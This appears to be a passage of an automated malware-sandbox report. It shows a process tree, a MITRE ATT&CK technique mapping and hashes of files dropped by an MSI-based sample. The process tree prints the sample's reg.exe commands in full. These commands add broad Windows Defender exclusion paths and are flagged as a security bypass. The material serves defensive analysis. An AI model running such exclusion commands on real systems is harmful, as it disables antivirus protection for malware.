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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vR16hb" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vR16hb" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1168
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1920
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1992
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4516
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2676
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e584d32.rbs
- Size 7KB
- SHA256 d19dd613d3a0525d481c1caafe165a51c08f9a81e7417b55332c15434985fd72
- MD5 8e994de632fa4cb97fd932d6fb120eaa
- SHA1 c4c008c0bdcdeca3850bc53d81096b9ea69b84f8
- SHA512 2d6566cff18cab90cb98bf58fc97cc44ff00fe8aecba51f2237a8426f3026a03a531a492e03932db92faffad3fecbd920caf94d95eda92f6f13853758ed5829b
- SSDEEP 96:3V44uu1eulxUUpdW21CsThqK/UpdW21C6jdAsDThqKjHYIK5RPWELEyE/Ywp6CKy:3V44eqzfW2IIBsfW2ISBIHtI5VpKpA
- TLSH T199F10F56B20481E2E9D73730CF271B263BB3D3E49314630B1ADE84749E4738D6EA619E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\vR16hb\DPnOLE.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\vR16hb\UxEnhance64.dll
- Size 3.1MB
- SHA256 0b26c393daf77cbbd0734c06e603dda45a4d4fd998dd0db72e98cd392bee854e
- MD5 24f9c3baabcf7cbb83bc524900145700
- SHA1 d90c66df82d513982a7ba9a262009c55a59f894d
- SHA512 1b11f503b332dbe2d25216772faba42d509f4855e5eb319d67dc2637999131a1affca0b9d4d687eaf8ee9816a27f4f4673516551ab053ca3c7421110cef3ab2b
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+z:P9m29xx3Tiqt06ox6+z2rNNrKoz
- TLSH T1E8E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\vR16hb\adoresd.dat
- Size 4.8MB
- SHA256 d836444b5c3d7243def9de5b0cb8f7860a9ee8ebde8e2ca600f6e9dfb039309a
- MD5 a0b5dc92d8aadd282052586289dc7662
- SHA1 e53f554f5efcd5097a185fa69c3a1ff865b93d1e
- SHA512 2b275b4bad3b629c1509b1dfc517e567851d8648378c6952ad9596ac037046fc5e8ac2bd9325d90d8c49a9c6763a122995f3012e573669863e023114366c0e4e
- SSDEEP 98304:KuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:HQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T152363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\vR16hb\msadox.tb
- Size 8KB
- SHA256 7b06c6c5303bca166e7e5c1cc93d64db336f3c8bb45bed55a676def1de086cec
- MD5 73c10ffa33b765ac3bb2946f6496c465
- SHA1 2d64f4bdac178cc440d01c8835a95374b845c625
- SHA512 d12f05ae0780bfc0066fd3353b56ede08e1f4cbc866222a299a93d3af15682321c49f2865d9df4e0cefb766ee35737320f486502b49f60f68384f6b81be85584
- SSDEEP 192:jfqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:TsZqZOXQ3uqvR2Kfzp
- TLSH T145029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI4EC8.tmp
- Size 7.7MB
- SHA256 830e3fdaff2b74874020ca585c1541bf3b6f351fa87c03a2884132dcd6596c75
- MD5 98550115a83ecaa30c8c658598815c12
- SHA1 42be5dd220471a59c38b0396de7a066e4291a6cb
- SHA512 7c2e74d6d697c27c8d669ff0a7616d0f73172dbaff18c0c0872479d5651625fa2fd526f7b7a0cd4b68cc92cbc7eb830e2787b4680da1223f866b8c4ed093a6eb
- SSDEEP 196608:hz8ANmHA+dnKE3Z2wc0BwNUiNRNto2Xg1DX:5gHzZsxNUKR7oHDX
- TLSH T1588633D5B8CEA2F0E28BC775C2437C1E7D2A3754BD628E0E3799BC002E527556A31786
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e584d31.msi
- Size 7.7MB
- SHA256 d4d6a10898ec90d57ea9e09192d592df81eefdb9914bb6cd282c0d9640454647
- MD5 32925458d4c613a57b5ed4fb67660d18
- SHA1 b6ced00562c65dbca698e25e0bda0e348ac60d1d
- SHA512 31ad5dab2e095c2e522eee1af2a25bc5c4511893e0f30648d0e9155981362a12d8ea59b51f77cdaa3067dbad4971b6b6cc1ca3b01c0a6d6c0a6b777998db53ca
- SSDEEP 196608:4z8ANmHA+dnKE3Z2Wc0BwNUiNRNto2Xg1Ds:EgHzZsPNUKR7oHDs
- TLSH T1A3863395B8CDA2B1D28BC7748243BC1E7D2A7F54BE22CE0F3799B8002D727556A31785
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 d3866a242a5b6bfa9483a0d2d2e82a0c227c8d9bae210c518f2c25b32234f1de
- MD5 2d26bbc227ba8ccef6253ae31bd6dc82
- SHA1 f08cec88e738000f47f2d55872207733a2498cec
- SHA512 9cd4f2181ed5c93e97e70202178036ae168534c41616728de93d9c19140d0c5cbae6192aea524fae16a4d3e0b349da611316f0ed20d73e84e6d7d05f574d6be0
- SSDEEP 24576:nu8m+1zUdoO/vvTL7WBeU26FA4kDJFhitHmNjegl5Uqwe2YMYvlYpXqhU:o
- TLSH T1CC47D22432F92510E7F39E3CA8F1AA2389397D579C199E8D05411F4E0961FB1E872F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{fef0c820-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{8b32484a-b84c-43af-b501-fc49a43bbe45}_OnDiskSnapshotProp
- Size 6KB
- SHA256 1fe1336b04b36b9d96e15bacb31aefd1177666def49d5a3631f2738bbe00732a
- MD5 d550f73aa18aaa25131254099bffd233
- SHA1 cfa76d4b452fdae4d30f731292077c274041ab8e
- SHA512 ba649437cd141626f043a541e66a9979fc800864b36cc76c932097788f23ffd9a6451dfaee521937f93107f62f5ac81ad25242766bc856afb2d9f703b852def3
- SSDEEP 96:FjDEMflSvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:lQb++ZVm
- TLSH T150D18A085AF54711E2B3AB7129F14557A877B911EF33CB8E0198238E2670A10F976F6B
- MD5 SHA1 SHA512 SSDEEP TLSH